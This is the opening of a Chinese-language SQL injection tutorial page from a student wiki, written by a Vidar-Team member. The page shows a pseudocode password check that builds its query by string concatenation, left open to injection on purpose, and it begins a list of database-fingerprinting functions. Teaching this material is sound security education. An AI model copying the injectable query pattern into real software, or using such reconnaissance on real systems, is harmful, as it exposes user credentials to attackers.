325 lines
205 KiB
HTML
325 lines
205 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="en-US" dir="ltr">
|
||
<head>
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width,initial-scale=1">
|
||
<title>SQL 注入 | FZU-WIKI</title>
|
||
<meta name="description" content="FZU生存手册">
|
||
<meta name="generator" content="VitePress v1.3.2">
|
||
<link rel="preload stylesheet" href="/assets/style.B9ehgNx8.css" as="style">
|
||
|
||
<script type="module" src="/assets/app.Cy5jt3Vh.js"></script>
|
||
<link rel="preload" href="/assets/inter-roman-latin.Di8DUHzh.woff2" as="font" type="font/woff2" crossorigin="">
|
||
<link rel="modulepreload" href="/assets/chunks/theme.abx7spag.js">
|
||
<link rel="modulepreload" href="/assets/chunks/framework.DtvhUNIn.js">
|
||
<link rel="modulepreload" href="/assets/技术资源汇总(杭电支持版)_6.计算机安全_6.1.1SQL 注入.md.DQCIZdYm.lean.js">
|
||
<script id="check-dark-mode">(()=>{const e=localStorage.getItem("vitepress-theme-appearance")||"auto",a=window.matchMedia("(prefers-color-scheme: dark)").matches;(!e||e==="auto"?a:e==="dark")&&document.documentElement.classList.add("dark")})();</script>
|
||
<script id="check-mac-os">document.documentElement.classList.toggle("mac",/Mac|iPhone|iPod|iPad/i.test(navigator.platform));</script>
|
||
</head>
|
||
<body>
|
||
<div id="app"><div class="Layout" data-v-d8b57b2d><!--[--><!--]--><!--[--><span tabindex="-1" data-v-c8291ffa></span><a href="#VPContent" class="VPSkipLink visually-hidden" data-v-c8291ffa> Skip to content </a><!--]--><!----><header class="VPNav" data-v-d8b57b2d data-v-7ad780c2><div class="VPNavBar has-sidebar top" data-v-7ad780c2 data-v-9fd4d1dd><div class="wrapper" data-v-9fd4d1dd><div class="container" data-v-9fd4d1dd><div class="title" data-v-9fd4d1dd><div class="VPNavBarTitle has-sidebar" data-v-9fd4d1dd data-v-0ad69264><a class="title" href="/" data-v-0ad69264><!--[--><!--]--><!----><span data-v-0ad69264>FZU-WIKI</span><!--[--><!--]--></a></div></div><div class="content" data-v-9fd4d1dd><div class="content-body" data-v-9fd4d1dd><!--[--><!--]--><div class="VPNavBarSearch search" data-v-9fd4d1dd><!--[--><!----><div id="local-search"><button type="button" class="DocSearch DocSearch-Button" aria-label="Search"><span class="DocSearch-Button-Container"><span class="vp-icon DocSearch-Search-Icon"></span><span class="DocSearch-Button-Placeholder">Search</span></span><span class="DocSearch-Button-Keys"><kbd class="DocSearch-Button-Key"></kbd><kbd class="DocSearch-Button-Key">K</kbd></span></button></div><!--]--></div><nav aria-labelledby="main-nav-aria-label" class="VPNavBarMenu menu" data-v-9fd4d1dd data-v-afb2845e><span id="main-nav-aria-label" class="visually-hidden" data-v-afb2845e> Main Navigation </span><!--[--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/" tabindex="0" data-v-afb2845e data-v-08fbf4b6><!--[--><span data-v-08fbf4b6>首页</span><!--]--></a><!--]--><!--[--><div class="VPFlyout VPNavBarMenuGroup" data-v-afb2845e data-v-af5898d3><button type="button" class="button" aria-haspopup="true" aria-expanded="false" data-v-af5898d3><span class="text" data-v-af5898d3><!----><span data-v-af5898d3>章节</span><span class="vpi-chevron-down text-icon" data-v-af5898d3></span></span></button><div class="menu" data-v-af5898d3><div class="VPMenu" data-v-af5898d3 data-v-20ed86d6><div class="items" data-v-20ed86d6><!--[--><!--[--><div class="VPMenuLink" data-v-20ed86d6 data-v-f51f088d><a class="VPLink link" href="/%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97.html" data-v-f51f088d><!--[-->使用指南<!--]--></a></div><!--]--><!--[--><div class="VPMenuGroup" data-v-20ed86d6 data-v-a6b0397c><p class="title" data-v-a6b0397c>福大生存指南</p><!--[--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E7%A6%8F%E5%A4%A7%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/1.%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97.html" data-v-f51f088d><!--[-->1.竞赛指北<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E7%A6%8F%E5%A4%A7%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/2.%E6%AD%A3%E7%A1%AE%E8%A7%A3%E8%AF%BBGPA.html" data-v-f51f088d><!--[-->2.正确解读GPA<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E7%A6%8F%E5%A4%A7%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/3.%E5%AD%A6%E7%94%9F%E5%B7%A5%E4%BD%9C%E9%80%89%E6%8B%A9.html" data-v-f51f088d><!--[-->3.学生工作选择<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E7%A6%8F%E5%A4%A7%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/4.Q&A.html" data-v-f51f088d><!--[-->4.Q&A<!--]--></a></div><!--]--><!--]--></div><!--]--><!--[--><div class="VPMenuGroup" data-v-20ed86d6 data-v-a6b0397c><p class="title" data-v-a6b0397c>技术资源汇总(杭电支持版)</p><!--[--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0.html" data-v-f51f088d><!--[-->2.高效学习<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA.html" data-v-f51f088d><!--[-->3.编程思维体系构建<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/4.%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/4.%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD.html" data-v-f51f088d><!--[-->4.人工智能<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/5.%E5%AF%8C%E6%9C%89%E7%94%9F%E5%91%BD%E7%9A%84%E5%B5%8C%E5%85%A5%E5%BC%8F/5.%E5%AF%8C%E6%9C%89%E7%94%9F%E5%91%BD%E7%9A%84%E5%B5%8C%E5%85%A5%E5%BC%8F.html" data-v-f51f088d><!--[-->5.富有生命的嵌入式<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8.html" data-v-f51f088d><!--[-->6.计算机安全<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/7.%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91/7.%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91%E5%85%A5%E9%97%A8.html" data-v-f51f088d><!--[-->7.网络应用开发<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/8.%E5%9F%BA%E7%A1%80%E5%AD%A6%E7%A7%91/8.%E5%9F%BA%E7%A1%80%E5%AD%A6%E7%A7%91.html" data-v-f51f088d><!--[-->8.基础学科<!--]--></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-a6b0397c data-v-f51f088d><a class="VPLink link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/9.%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/9.%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C.html" data-v-f51f088d><!--[-->9.计算机网络<!--]--></a></div><!--]--><!--]--></div><!--]--><!--]--></div><!--[--><!--]--></div></div></div><!--]--><!--]--></nav><!----><div class="VPNavBarAppearance appearance" data-v-9fd4d1dd data-v-3f90c1a5><button class="VPSwitch VPSwitchAppearance" type="button" role="switch" title="Switch to dark theme" aria-checked="false" data-v-3f90c1a5 data-v-be9742d9 data-v-b4ccac88><span class="check" data-v-b4ccac88><span class="icon" data-v-b4ccac88><!--[--><span class="vpi-sun sun" data-v-be9742d9></span><span class="vpi-moon moon" data-v-be9742d9></span><!--]--></span></span></button></div><div class="VPSocialLinks VPNavBarSocialLinks social-links" data-v-9fd4d1dd data-v-ef6192dc data-v-e71e869c><!--[--><a class="VPSocialLink no-icon" href="https://gitea.xinxijishubu.asia/moyin/fzu-product" aria-label="github" target="_blank" rel="noopener" data-v-e71e869c data-v-358b6670><span class="vpi-social-github" /></a><!--]--></div><div class="VPFlyout VPNavBarExtra extra" data-v-9fd4d1dd data-v-f953d92f data-v-af5898d3><button type="button" class="button" aria-haspopup="true" aria-expanded="false" aria-label="extra navigation" data-v-af5898d3><span class="vpi-more-horizontal icon" data-v-af5898d3></span></button><div class="menu" data-v-af5898d3><div class="VPMenu" data-v-af5898d3 data-v-20ed86d6><!----><!--[--><!--[--><!----><div class="group" data-v-f953d92f><div class="item appearance" data-v-f953d92f><p class="label" data-v-f953d92f>Appearance</p><div class="appearance-action" data-v-f953d92f><button class="VPSwitch VPSwitchAppearance" type="button" role="switch" title="Switch to dark theme" aria-checked="false" data-v-f953d92f data-v-be9742d9 data-v-b4ccac88><span class="check" data-v-b4ccac88><span class="icon" data-v-b4ccac88><!--[--><span class="vpi-sun sun" data-v-be9742d9></span><span class="vpi-moon moon" data-v-be9742d9></span><!--]--></span></span></button></div></div></div><div class="group" data-v-f953d92f><div class="item social-links" data-v-f953d92f><div class="VPSocialLinks social-links-list" data-v-f953d92f data-v-e71e869c><!--[--><a class="VPSocialLink no-icon" href="https://gitea.xinxijishubu.asia/moyin/fzu-product" aria-label="github" target="_blank" rel="noopener" data-v-e71e869c data-v-358b6670><span class="vpi-social-github" /></a><!--]--></div></div></div><!--]--><!--]--></div></div></div><!--[--><!--]--><button type="button" class="VPNavBarHamburger hamburger" aria-label="mobile navigation" aria-expanded="false" aria-controls="VPNavScreen" data-v-9fd4d1dd data-v-6bee1efd><span class="container" data-v-6bee1efd><span class="top" data-v-6bee1efd></span><span class="middle" data-v-6bee1efd></span><span class="bottom" data-v-6bee1efd></span></span></button></div></div></div></div><div class="divider" data-v-9fd4d1dd><div class="divider-line" data-v-9fd4d1dd></div></div></div><!----></header><div class="VPLocalNav has-sidebar empty" data-v-d8b57b2d data-v-2488c25a><div class="container" data-v-2488c25a><button class="menu" aria-expanded="false" aria-controls="VPSidebarNav" data-v-2488c25a><span class="vpi-align-left menu-icon" data-v-2488c25a></span><span class="menu-text" data-v-2488c25a>Menu</span></button><div class="VPLocalNavOutlineDropdown" style="--vp-vh:0px;" data-v-2488c25a data-v-883964e0><button data-v-883964e0>Return to top</button><!----></div></div></div><aside class="VPSidebar" data-v-d8b57b2d data-v-42c4c606><div class="curtain" data-v-42c4c606></div><nav class="nav" id="VPSidebarNav" aria-labelledby="sidebar-aria-label" tabindex="-1" data-v-42c4c606><span class="visually-hidden" id="sidebar-aria-label" data-v-42c4c606> Sidebar Navigation </span><!--[--><!--]--><!--[--><div class="no-transition group" data-v-51288d80><section class="VPSidebarItem level-0" data-v-51288d80 data-v-edd2eed8><!----><div class="items" data-v-edd2eed8><!--[--><div class="VPSidebarItem level-1 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/%E5%86%85%E5%AE%B9%E7%B4%A2%E5%BC%95.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>返回上一层</p><!--]--></a><!----></div><!----></div><!--]--></div></section></div><div class="no-transition group" data-v-51288d80><section class="VPSidebarItem level-0 collapsible has-active" data-v-51288d80 data-v-edd2eed8><div class="item" role="button" tabindex="0" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><h2 class="text" data-v-edd2eed8>6.计算机安全</h2><div class="caret" role="button" aria-label="toggle section" tabindex="0" data-v-edd2eed8><span class="vpi-chevron-right caret-icon" data-v-edd2eed8></span></div></div><div class="items" data-v-edd2eed8><!--[--><div class="VPSidebarItem level-1 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.计算机安全</p><!--]--></a><!----></div><!----></div><section class="VPSidebarItem level-1 collapsible has-active" data-v-edd2eed8 data-v-edd2eed8><div class="item" role="button" tabindex="0" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><h3 class="text" data-v-edd2eed8>6.1Web安全</h3><div class="caret" role="button" aria-label="toggle section" tabindex="0" data-v-edd2eed8><span class="vpi-chevron-right caret-icon" data-v-edd2eed8></span></div></div><div class="items" data-v-edd2eed8><!--[--><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.1Web%E5%AE%89%E5%85%A8.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.1Web安全</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.1.1SQL%20%E6%B3%A8%E5%85%A5.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.1.1SQL 注入</p><!--]--></a><!----></div><!----></div><!--]--></div></section><section class="VPSidebarItem level-1 collapsible collapsed" data-v-edd2eed8 data-v-edd2eed8><div class="item" role="button" tabindex="0" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><h3 class="text" data-v-edd2eed8>6.2二进制安全</h3><div class="caret" role="button" aria-label="toggle section" tabindex="0" data-v-edd2eed8><span class="vpi-chevron-right caret-icon" data-v-edd2eed8></span></div></div><div class="items" data-v-edd2eed8><!--[--><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.2%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%AE%89%E5%85%A8.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.2二进制安全</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.2.1%E5%9F%BA%E7%A1%80%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.2.1基础工具的使用</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.2.2%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3%E3%80%81%E8%BD%AF%E4%BB%B6%E5%8A%A0%E5%9B%BA.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.2.2软件破解、软件加固</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-2 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.2.3%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E3%80%81%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.2.3漏洞挖掘、漏洞利用</p><!--]--></a><!----></div><!----></div><!--]--></div></section><div class="VPSidebarItem level-1 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.3%E5%AF%86%E7%A0%81%E5%AD%A6.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.3密码学</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.4%E5%AE%89%E5%85%A8%E6%9D%82%E9%A1%B9.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.4安全杂项</p><!--]--></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-edd2eed8 data-v-edd2eed8><div class="item" data-v-edd2eed8><div class="indicator" data-v-edd2eed8></div><a class="VPLink link link" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.5%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99%E6%8E%A8%E8%8D%90.html" data-v-edd2eed8><!--[--><p class="text" data-v-edd2eed8>6.5学习资料推荐</p><!--]--></a><!----></div><!----></div><!--]--></div></section></div><!--]--><!--[--><!--]--></nav></aside><div class="VPContent has-sidebar" id="VPContent" data-v-d8b57b2d data-v-9a6c75ad><div class="VPDoc has-sidebar has-aside" data-v-9a6c75ad data-v-e6f2a212><!--[--><!--]--><div class="container" data-v-e6f2a212><div class="aside" data-v-e6f2a212><div class="aside-curtain" data-v-e6f2a212></div><div class="aside-container" data-v-e6f2a212><div class="aside-content" data-v-e6f2a212><div class="VPDocAside" data-v-e6f2a212 data-v-cb998dce><!--[--><!--]--><!--[--><!--]--><nav aria-labelledby="doc-outline-aria-label" class="VPDocAsideOutline" data-v-cb998dce data-v-f610f197><div class="content" data-v-f610f197><div class="outline-marker" data-v-f610f197></div><div aria-level="2" class="outline-title" id="doc-outline-aria-label" role="heading" data-v-f610f197>On this page</div><ul class="VPDocOutlineItem root" data-v-f610f197 data-v-53c99d69><!--[--><!--]--></ul></div></nav><!--[--><!--]--><div class="spacer" data-v-cb998dce></div><!--[--><!--]--><!----><!--[--><!--]--><!--[--><!--]--></div></div></div></div><div class="content" data-v-e6f2a212><div class="content-container" data-v-e6f2a212><!--[--><!--]--><main class="main" data-v-e6f2a212><div style="position:relative;" class="vp-doc _%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)_6_%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8_6_1_1SQL%20%E6%B3%A8%E5%85%A5 external-link-icon-enabled" data-v-e6f2a212><div><h1 id="sql-注入" tabindex="-1">SQL 注入 <a class="header-anchor" href="#sql-注入" aria-label="Permalink to "SQL 注入""></a></h1><p>Author: <code>Liki4</code> from Vidar-Team</p><p>Vidar-Team 2023 招新 QQ 群:861507440(仅向校内开放)</p><p>Vidar-Team 官网:<a href="https://vidar.club/" target="_blank" rel="noreferrer">https://vidar.club/</a></p><p>Vidar-Team 招新报名表:<a href="https://reg.vidar.club/" target="_blank" rel="noreferrer">https://reg.vidar.club/</a></p><p>本文中所有涉及的代码全部都托管在 <a href="https://github.com/Liki4/SQLi" target="_blank" rel="noreferrer">https://github.com/Liki4/SQLi</a></p><h2 id="前言" tabindex="-1">前言 <a class="header-anchor" href="#前言" aria-label="Permalink to "前言""></a></h2><p>在当代优秀年轻程序员设计与编写 Web 应用的时候,或多或少会使用到一种叫数据库的东西,如字面意义,这种东西通常用来储存数据,例如用户的个人信息,账户名称和密码等。</p><p>当然这些东西即便用记事本也可以储存,只需要将数据输出到一个文本文件里,事后需要使用的时候再搜索即可。但当数据量逐渐庞大,又对数据的增删改查有所需求的时候,记事本就显得有些心有余而力不足了。</p><p>于是数据库诞生了,随之诞生了一种名为 SQL 的语言,用以对数据库进行增删改查和更多其他的操作。使用 SQL 语句,可以方便地从数据库中查询出想要的数据,可以方便地找出不同类型数据之间的联系并对他们进行一定的操作。例如当今天你没有做核酸的时候,某些系统就会找出你的个人信息,并对你的健康码进行一个改天换色,同时也将对你的出行码等信息造成影响,这其中所有的过程都离不开 SQL 语句的辛勤付出,因此对其进行研究是非常必要的 :-p</p><p>有关 SQL 语句的基本知识,可以参考 <a href="https://www.w3schools.com/sql/" target="_blank" rel="noreferrer">SQL Tutorial</a></p><h2 id="简介" tabindex="-1">简介 <a class="header-anchor" href="#简介" aria-label="Permalink to "简介""></a></h2><p>在旧时代诞生的 Web 应用,不少都直接使用了原始 SQL 语句拼接的方式来完成查询,举个例子</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> check_pass</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(username, password):</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> hash</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> conn.exec(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">f</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"SELECT password FROM users WHERE username = '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">username</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (sha256(password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> hash</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span></code></pre></div><p>这是一个普通 Web 应用里常见的密码校验函数,的伪代码</p><p>从 <code>users</code> 表中查出 <code>username</code> 对应的 <code>password</code> 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录</p><p><img src="https://cdn.xyxsw.site/boxcnHiNBWN86AR4AvSSsUVwSWb.png" alt=""></p><p>那么问题来了,在语句</p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> password</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> FROM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">WHERE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> '{username}'</span></span></code></pre></div><p>之中,如果参数 <code>username</code> 未经过校验,直接使用用户传入的原生字符串,会不会出现什么问题呢?</p><p>这就是本篇 SQL 注入要讨论的问题</p><h2 id="sql-注入中的信息搜集" tabindex="-1">SQL 注入中的信息搜集 <a class="header-anchor" href="#sql-注入中的信息搜集" aria-label="Permalink to "SQL 注入中的信息搜集""></a></h2><h3 id="信息的获取" tabindex="-1">信息的获取 <a class="header-anchor" href="#信息的获取" aria-label="Permalink to "信息的获取""></a></h3><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">. version() 数据库版本</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">. user() 数据库用户名</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">3</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">. database() 数据库名</span></span>
|
||
